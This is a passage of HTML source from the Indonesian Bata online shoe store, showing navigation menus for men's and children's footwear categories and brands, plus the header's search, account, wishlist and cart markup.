  1167.        </a>
  1168.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1169.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1170. </svg>
  1171.    
  1172. </div>
  1173.  
  1174. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1175.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1176.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1177.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1178. </svg>
  1179.        
  1180.            <span class="cc-menu__thirdLevel-back-title">Pria Brands</span>
  1181.        
  1182.    </div>
  1183.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1184.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1185.  
  1186.  
  1187.  
  1188. <div class="cc-menu__secondLevelColumn">
  1189.    
  1190.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1191.  
  1192.  
  1193.  
  1194.  
  1195.  
  1196.    <div class="cc-menu__thirdLevelItemsSection">
  1197.        
  1198.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1199.                Kategori Brand
  1200.            </span>
  1201.        
  1202.        
  1203.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/north-star/" aria-label="North Star">
  1204.                <span class="cc-menu__thirdLevel__title">North Star</span>
  1205.            </a>
  1206.        
  1207.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/power/" aria-label="Power">
  1208.                <span class="cc-menu__thirdLevel__title">Power</span>
  1209.            </a>
  1210.        
  1211.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/bata-3d/" aria-label="Bata 3D">
  1212.                <span class="cc-menu__thirdLevel__title">Bata 3D</span>
  1213.            </a>
  1214.        
  1215.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/bata-comfit/" aria-label="Bata Comfit">
  1216.                <span class="cc-menu__thirdLevel__title">Bata Comfit</span>
  1217.            </a>
  1218.        
  1219.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/bata/" aria-label="Bata">
  1220.                <span class="cc-menu__thirdLevel__title">Bata</span>
  1221.            </a>
  1222.        
  1223.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/patapata/" aria-label="PataPata">
  1224.                <span class="cc-menu__thirdLevel__title">PataPata</span>
  1225.            </a>
  1226.        
  1227.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/bata-red-label/" aria-label="Bata Red Label">
  1228.                <span class="cc-menu__thirdLevel__title">Bata Red Label</span>
  1229.            </a>
  1230.        
  1231.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/brand/">
  1232.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1233.        </a>
  1234.    </div>
  1235.  
  1236. </div></div>
  1237. </div></div></div>
  1238.    </ul>
  1239. </div>
  1240. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1241.  
  1242.  
  1243.  
  1244. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1245.    
  1246.        <div class="cc-menu__secondLevel__sale-icon">
  1247.            %
  1248.        </div>
  1249.    
  1250.    
  1251.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/diskon/pria/" data-menu-index="2" aria-label="Diskon" aria-expanded="false">
  1252.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Diskon</span>
  1253.        </a>
  1254.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1255.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1256. </svg>
  1257.    
  1258. </div>
  1259.  
  1260. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1261.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1262.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1263.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1264. </svg>
  1265.        
  1266.            <span class="cc-menu__thirdLevel-back-title">Pria Diskon</span>
  1267.        
  1268.    </div>
  1269.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1270.        <div class="experience-region experience-thirdLevelColumnRegion"></div>
  1271.    </ul>
  1272. </div>
  1273. </div></div>
  1274.        
  1275. <div class="cc-menu__secondLevel__content">
  1276.    <div class="cc-menu__secondLevel__content-links">
  1277.        <div class="cc-menu__secondLevel__content-link__item">
  1278.            
  1279.            
  1280.                
  1281.                <a href="https://www.bata.com/id/bata_club.html" class="cc-menu__secondLevel__content-link__item-text">
  1282.                    <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1283.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#bata-club" />
  1284. </svg>
  1285.                    Bata Club
  1286.                </a>
  1287.            
  1288.        </div>
  1289.        <div class="cc-menu__secondLevel__content-link__item">
  1290.            <a href="/id/storesfind" class="cc-menu__secondLevel__content-link__item-text">
  1291.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1292.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#find-store" />
  1293. </svg>
  1294.                Temukan toko
  1295.            </a>
  1296.        </div>
  1297.        <div class="cc-menu__secondLevel__content-link__item">
  1298.            <a href="https://www.bata.com/id/pesanan/tracking" class="cc-menu__secondLevel__content-link__item-text">
  1299.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  1300.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#track-order" />
  1301. </svg>
  1302.                Lacak pesananmu
  1303.            </a>
  1304.        </div>
  1305.        <div class="cc-menu__secondLevel__content-link__item">
  1306.            <a href="https://www.bata.com/id/contact-us.html" class="cc-menu__secondLevel__content-link__item-text">
  1307.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  1308.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#contact-us" />
  1309. </svg>
  1310.                Kontak
  1311.            </a>
  1312.        </div>
  1313.    </div>
  1314.  
  1315.    
  1316.  
  1317.  
  1318.  
  1319.  
  1320. <div class="cc-menu__secondLevel__content-profile">
  1321.    <div class="cc-menu__secondLevel__content-profile__item">
  1322.        <a href="https://www.bata.com/id/akun/account" class="cc-menu__secondLevel__content-link__item-text">
  1323.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1324.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-account" />
  1325. </svg>
  1326.            
  1327.                Akun saya
  1328.            
  1329.        </a>
  1330.    </div>
  1331.    <div class="cc-menu__secondLevel__content-profile__item">
  1332.        <a href="https://www.bata.com/id/wishlist?rurl=3" class="cc-menu__secondLevel__content-link__item-text">
  1333.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1334.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist" />
  1335. </svg>
  1336.            Daftar Keinginan
  1337.        </a>
  1338.    </div>
  1339. </div>
  1340.  
  1341. </div>
  1342.  
  1343.    </div>
  1344. </div>
  1345. </li><li class="cc-menu__level cc-menu__firstLevel__item js-menuFirstLevelItem">
  1346.  
  1347.  
  1348.  
  1349.  
  1350.  
  1351.    <div class="cc-menu__level__link cc-menu__firstLevel__link d-none d-lg-block" data-menu-index="2" aria-label="Anak-Anak" aria-expanded="false">
  1352.        <span class="cc-menu__level__title cc-menu__firstLevel__title">Anak-Anak</span>
  1353.    </div>
  1354.  
  1355. <div class="cc-menu__level cc-menu__secondLevel js-menuSecondLevel">
  1356.    <div class="cc-menu__secondLevel__wrapper">
  1357.        <div class="experience-region experience-secondLevelColumnRegion"><div class="cc-menu__secondLevel__wrapper-inner">
  1358.  
  1359.  
  1360.  
  1361. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1362.    
  1363.    
  1364.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/anak-anak/bayi/" data-menu-index="2" aria-label="Bayi alas kaki" aria-expanded="false">
  1365.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Bayi alas kaki</span>
  1366.        </a>
  1367.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1368.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1369. </svg>
  1370.    
  1371. </div>
  1372.  
  1373. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1374.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1375.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1376.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1377. </svg>
  1378.        
  1379.            <span class="cc-menu__thirdLevel-back-title">Anak-Anak Bayi alas kaki</span>
  1380.        
  1381.    </div>
  1382.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1383.        <div class="experience-region experience-thirdLevelColumnRegion"></div>
  1384.    </ul>
  1385. </div>
  1386. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1387.  
  1388.  
  1389.  
  1390. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem js-openFirst">
  1391.    
  1392.    
  1393.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/anak-anak/anak-perempuan/" data-menu-index="2" aria-label="Anak perempuan alas kaki" aria-expanded="false">
  1394.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Anak perempuan alas kaki</span>
  1395.        </a>
  1396.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1397.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1398. </svg>
  1399.    
  1400. </div>
  1401.  
  1402. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1403.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1404.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1405.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1406. </svg>
  1407.        
  1408.            <span class="cc-menu__thirdLevel-back-title">Anak-Anak Perempuan alas kaki</span>
  1409.        
  1410.    </div>
  1411.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1412.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1413.  
  1414.  
  1415.  
  1416. <div class="cc-menu__secondLevelColumn">
  1417.    
  1418.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1419.  
  1420.  
  1421.  
  1422.  
  1423.  
  1424.    <div class="cc-menu__thirdLevelItemsSection">
  1425.        
  1426.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1427.                Kategori Anak Perempuan
  1428.            </span>
  1429.        
  1430.        
  1431.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-perempuan/sandal/" aria-label="Sandal">
  1432.                <span class="cc-menu__thirdLevel__title">Sandal</span>
  1433.            </a>
  1434.        
  1435.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-perempuan/sepatu/" aria-label="Sepatu">
  1436.                <span class="cc-menu__thirdLevel__title">Sepatu</span>
  1437.            </a>
  1438.        
  1439.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-perempuan/sneakers/" aria-label="Sneakers">
  1440.                <span class="cc-menu__thirdLevel__title">Sneakers</span>
  1441.            </a>
  1442.        
  1443.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-perempuan/">
  1444.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1445.        </a>
  1446.    </div>
  1447.  
  1448. </div></div>
  1449. </div></div></div>
  1450.    </ul>
  1451. </div>
  1452. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1453.  
  1454.  
  1455.  
  1456. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1457.    
  1458.    
  1459.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/anak-anak/anak-laki-laki/" data-menu-index="2" aria-label="Anak laki-laki alas kaki" aria-expanded="false">
  1460.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Anak laki-laki alas kaki</span>
  1461.        </a>
  1462.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1463.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1464. </svg>
  1465.    
  1466. </div>
  1467.  
  1468. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1469.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1470.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1471.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1472. </svg>
  1473.        
  1474.            <span class="cc-menu__thirdLevel-back-title">Anak-anak laki-laki alas kaki</span>
  1475.        
  1476.    </div>
  1477.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1478.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1479.  
  1480.  
  1481.  
  1482. <div class="cc-menu__secondLevelColumn">
  1483.    
  1484.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1485.  
  1486.  
  1487.  
  1488.  
  1489.  
  1490.    <div class="cc-menu__thirdLevelItemsSection">
  1491.        
  1492.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1493.                Kategori Anak Laki-Laki
  1494.            </span>
  1495.        
  1496.        
  1497.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-laki-laki/sandal/" aria-label="Sandal">
  1498.                <span class="cc-menu__thirdLevel__title">Sandal</span>
  1499.            </a>
  1500.        
  1501.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-laki-laki/sepatu/" aria-label="Sepatu">
  1502.                <span class="cc-menu__thirdLevel__title">Sepatu</span>
  1503.            </a>
  1504.        
  1505.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-laki-laki/sneakers/" aria-label="Sneakers">
  1506.                <span class="cc-menu__thirdLevel__title">Sneakers</span>
  1507.            </a>
  1508.        
  1509.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/anak-laki-laki/">
  1510.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1511.        </a>
  1512.    </div>
  1513.  
  1514. </div></div>
  1515. </div></div></div>
  1516.    </ul>
  1517. </div>
  1518. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1519.  
  1520.  
  1521.  
  1522. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1523.    
  1524.    
  1525.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/anak-anak/brand/" data-menu-index="2" aria-label="Brands" aria-expanded="false">
  1526.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Brands</span>
  1527.        </a>
  1528.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1529.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1530. </svg>
  1531.    
  1532. </div>
  1533.  
  1534. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1535.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1536.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1537.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1538. </svg>
  1539.        
  1540.            <span class="cc-menu__thirdLevel-back-title">Anak-Anak Brands</span>
  1541.        
  1542.    </div>
  1543.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1544.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1545.  
  1546.  
  1547.  
  1548. <div class="cc-menu__secondLevelColumn">
  1549.    
  1550.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1551.  
  1552.  
  1553.  
  1554.  
  1555.  
  1556.    <div class="cc-menu__thirdLevelItemsSection">
  1557.        
  1558.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1559.                Merek brands
  1560.            </span>
  1561.        
  1562.        
  1563.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/b-first/" aria-label="B-First">
  1564.                <span class="cc-menu__thirdLevel__title">B-First</span>
  1565.            </a>
  1566.        
  1567.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/bata/" aria-label="Bata">
  1568.                <span class="cc-menu__thirdLevel__title">Bata</span>
  1569.            </a>
  1570.        
  1571.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/bubblegummers/" aria-label="BubbleGummers">
  1572.                <span class="cc-menu__thirdLevel__title">BubbleGummers</span>
  1573.            </a>
  1574.        
  1575.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/disney/" aria-label="Disney">
  1576.                <span class="cc-menu__thirdLevel__title">Disney</span>
  1577.            </a>
  1578.        
  1579.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/north-star/" aria-label="North Star">
  1580.                <span class="cc-menu__thirdLevel__title">North Star</span>
  1581.            </a>
  1582.        
  1583.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/power/" aria-label="Power">
  1584.                <span class="cc-menu__thirdLevel__title">Power</span>
  1585.            </a>
  1586.        
  1587.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/anak-anak/brand/">
  1588.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1589.        </a>
  1590.    </div>
  1591.  
  1592. </div></div>
  1593. </div></div></div>
  1594.    </ul>
  1595. </div>
  1596. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1597.  
  1598.  
  1599.  
  1600. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1601.    
  1602.        <div class="cc-menu__secondLevel__sale-icon">
  1603.            %
  1604.        </div>
  1605.    
  1606.    
  1607.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/diskon/anak-anak/" data-menu-index="2" aria-label="Dikson" aria-expanded="false">
  1608.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Dikson</span>
  1609.        </a>
  1610.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1611.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1612. </svg>
  1613.    
  1614. </div>
  1615.  
  1616. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1617.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1618.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1619.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1620. </svg>
  1621.        
  1622.            <span class="cc-menu__thirdLevel-back-title">Anak-Anak Dikson</span>
  1623.        
  1624.    </div>
  1625.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1626.        <div class="experience-region experience-thirdLevelColumnRegion"></div>
  1627.    </ul>
  1628. </div>
  1629. </div></div>
  1630.        
  1631. <div class="cc-menu__secondLevel__content">
  1632.    <div class="cc-menu__secondLevel__content-links">
  1633.        <div class="cc-menu__secondLevel__content-link__item">
  1634.            
  1635.            
  1636.                
  1637.                <a href="https://www.bata.com/id/bata_club.html" class="cc-menu__secondLevel__content-link__item-text">
  1638.                    <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1639.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#bata-club" />
  1640. </svg>
  1641.                    Bata Club
  1642.                </a>
  1643.            
  1644.        </div>
  1645.        <div class="cc-menu__secondLevel__content-link__item">
  1646.            <a href="/id/storesfind" class="cc-menu__secondLevel__content-link__item-text">
  1647.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1648.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#find-store" />
  1649. </svg>
  1650.                Temukan toko
  1651.            </a>
  1652.        </div>
  1653.        <div class="cc-menu__secondLevel__content-link__item">
  1654.            <a href="https://www.bata.com/id/pesanan/tracking" class="cc-menu__secondLevel__content-link__item-text">
  1655.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  1656.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#track-order" />
  1657. </svg>
  1658.                Lacak pesananmu
  1659.            </a>
  1660.        </div>
  1661.        <div class="cc-menu__secondLevel__content-link__item">
  1662.            <a href="https://www.bata.com/id/contact-us.html" class="cc-menu__secondLevel__content-link__item-text">
  1663.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  1664.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#contact-us" />
  1665. </svg>
  1666.                Kontak
  1667.            </a>
  1668.        </div>
  1669.    </div>
  1670.  
  1671.    
  1672.  
  1673.  
  1674.  
  1675.  
  1676. <div class="cc-menu__secondLevel__content-profile">
  1677.    <div class="cc-menu__secondLevel__content-profile__item">
  1678.        <a href="https://www.bata.com/id/akun/account" class="cc-menu__secondLevel__content-link__item-text">
  1679.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1680.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-account" />
  1681. </svg>
  1682.            
  1683.                Akun saya
  1684.            
  1685.        </a>
  1686.    </div>
  1687.    <div class="cc-menu__secondLevel__content-profile__item">
  1688.        <a href="https://www.bata.com/id/wishlist?rurl=3" class="cc-menu__secondLevel__content-link__item-text">
  1689.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  1690.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist" />
  1691. </svg>
  1692.            Daftar Keinginan
  1693.        </a>
  1694.    </div>
  1695. </div>
  1696.  
  1697. </div>
  1698.  
  1699.    </div>
  1700. </div>
  1701. </li></ul>
  1702. </div>
  1703. </div>
  1704. </div>
  1705. <div class="cc-menu__overlay js-menuOverlay d-none"></div>
  1706.  
  1707.  
  1708.  
  1709.        </div>
  1710.    </div>
  1711.    <a class="cc-headerBar-logo" href="/id/" title="global.storename Depan">
  1712.        <svg class="iconClassCommon cc-headerBar-logo-svg">
  1713.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#bata-logo" />
  1714. </svg>
  1715.    </a>
  1716.    <div class="cc-headerBar-right">
  1717.        <button class="cc-header__search-input js-headerSearchButton ">
  1718.            <svg class="iconClassCommon cc-headerBar-icon">
  1719.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-search" />
  1720. </svg>
  1721.            Cari
  1722.        </button>
  1723.        
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731. <button class="cc-headerBar-search cc-icon-search cc-headerBar-link js-headerSearchButton ">
  1732.    <svg class="iconClassCommon cc-headerBar-icon">
  1733.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-search" />
  1734. </svg>
  1735. </button>
  1736.  
  1737.  
  1738.    <a class="cc-headerBar-link loginLink" href="https://www.bata.com/id/myaccount/login">
  1739.        <svg class="iconClassCommon cc-headerBar-icon">
  1740.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-user" />
  1741. </svg>
  1742.    </a>
  1743.    <a class="cc-headerBar-link wishlistLink d-none d-sm-flex" href="https://www.bata.com/id/wishlist?rurl=3">
  1744.        <span class="cc-headerBar-iconNumber">
  1745.            <svg class="iconClassCommon cc-headerBar-icon">
  1746.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist" />
  1747. </svg>
  1748.            <span class="cc-icon-number js-wishlistNumber d-none">
  1749.                0
  1750.            </span>
  1751.        </span>
  1752.    </a>
  1753.  
  1754.        
  1755.  
  1756.  
  1757.  
  1758.  
  1759. <span id="analyticsCurrencyCode" data-currency="IDR" />
  1760. <span id="analytics-cartInfo"
  1761.    data-value="0.00"
  1762.    data-coupons-name=""
  1763.    ></span>
  1764.  
  1765. <div class="minicart">
  1766.    <div class="cc-headerBar-link minicart-link" id="minicartIcon" data-redirect="https://www.bata.com/id/pesanan/cart" title="Lihat Keranjang" aria-label="[0]" aria-haspopup="true" data-timeout="3000" data-hide-checkout-btn="false">
  1767.        <span class="cc-headerBar-iconNumber">
  1768.            <svg class="iconClassCommon cc-headerBar-icon">
  1769.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-shoppingcart" />
  1770. </svg>
  1771.            <span class="cc-icon-number minicart-quantity d-none">
  1772.                0
  1773.            </span>
  1774.        </span>
  1775.    </div>
  1776.    <div class="cc-minicart-overlay"></div>
  1777. </div>
  1778.    </div>
  1779. </div>
  1780.  
  1781.        
  1782.        <div class="cc-content-search-mobile js-searchBarMobile ">
  1783.            
  1784.            
  1785.  
  1786.  
  1787.  
  1788. <div class="cc-content-search cc-form-group site-search cc-search-custom-container">
  1789.    <form role="search" action="/id/search" method="get" name="simpleSearch">
  1790.        <div class="cc-content-input">
  1791.            <div class="cc-input-wrp">
  1792.                <input class="js-searchInput cc-input cc-search form-control search-field top-bar" type="text" id="search-input-top-bar-mobile" name="q" value="" placeholder="Cari" role="combobox" aria-describedby="search-assistive-text" aria-haspopup="listbox" aria-owns="search-results" aria-expanded="false" aria-autocomplete="list" aria-activedescendant="" aria-controls="search-results" aria-label="Masukkan Kata Kunci atau No. Barang" autocomplete="off" />
  1793.                <button type="button" class="js-resetSearch cc-search__reset" disabled="disabled">
  1794.                    Atur ulang
  1795.                </button>
  1796.                <button type="submit" class="cc-icon-search-button" name="search-button" aria-label="Kirim kata kunci pencarian">
  1797.                    <svg class="iconClassCommon cc-icon cc-icon-search">
  1798.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-search" />
  1799. </svg>
  1800.                </button>
  1801.                <button type="button" class="js-closeSearch cc-icon-close-search-button">
  1802.                    <svg class="iconClassCommon cc-icon cc-icon-close-search">
  1803.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#close-remove" />
  1804. </svg>
  1805.                </button>
  1806.            </div>
  1807.            <div id="suggestions-wrapper" class="suggestions-wrapper cc-suggestions-wrapper" data-url="/on/demandware.store/Sites-bata-id-Site/in_ID/SearchServices-GetSuggestions?q=">
  1808.                <div class="suggestions-initial">
  1809.                    <div class="cc-search-row">
  1810.                        <div class="cc-product-search-first-col">
  1811.                            <div class="suggestions-no-results cc-search-row-no-results">
  1812.                                <div class="suggestions-quick-links-no-results">
  1813.                                    
  1814.  
  1815.  
  1816.  
  1817.  
  1818. <!-- dwMarker="content" dwContentID="af64d0453f054927c3be6369ba" -->
  1819. <div class="b-suggestions__container">
  1820.   <h4 class="b-suggestions__title">Tautan Langsung</h4>
  1821.   <ul>
  1822.      <li><a class="b-suggestions__hit" href="https://www.bata.com/id/diskon/">
  1823.         Diskon
  1824.         </a>
  1825.      </li>
  1826.      <li><a class="b-suggestions__hit" href="https://www.bata.com/id/koleksi-terbaru/">
  1827.         Koleksi Terbaru
  1828.         </a>
  1829.      </li>
